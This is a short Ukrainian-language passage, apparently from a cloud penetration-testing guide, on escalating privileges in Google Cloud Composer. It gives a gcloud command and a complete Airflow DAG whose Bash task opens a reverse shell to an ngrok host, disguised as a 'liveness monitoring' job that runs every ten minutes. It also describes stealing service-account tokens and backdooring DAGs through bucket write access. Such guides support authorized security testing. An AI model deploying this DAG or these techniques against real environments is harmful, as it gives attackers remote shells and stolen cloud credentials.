Можливо прикріпити будь-який обліковий запис служби до новоствореного середовища композера з цим дозволом. Пізніше ви зможете виконати код всередині композера, щоб вкрасти токен облікового запису служби.
Додайте код python DAG у файл і імпортуйте його, запустивши:
# TODO: Create dag to get a rev shellgcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
DAG з реверс-оболонкою:
reverse_shell.py
import airflowfrom airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom datetime import timedeltadefault_args ={'start_date': airflow.utils.dates.days_ago(0),'retries':1,'retry_delay':timedelta(minutes=5)}dag =DAG('reverse_shell',default_args=default_args,description='liveness monitoring dag',schedule_interval='*/10 * * * *',max_active_runs=1,catchup=False,dagrun_timeout=timedelta(minutes=10),)# priority_weight has type int in Airflow DB, uses the maximum.t1 =BashOperator(task_id='bash_rev',bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',dag=dag,depends_on_past=False,priority_weight=2**31-1,do_xcom_push=False)
Доступ на запис до кошика Composer
Всі компоненти середовища composer (DAG, плагіни та дані) зберігаються всередині кошика GCP. Якщо зловмисник має права на читання та запис, він може моніторити кошик і коли DAG створюється або оновлюється, подати версію з бекдором, щоб середовище composer отримало зберігання версію з бекдором.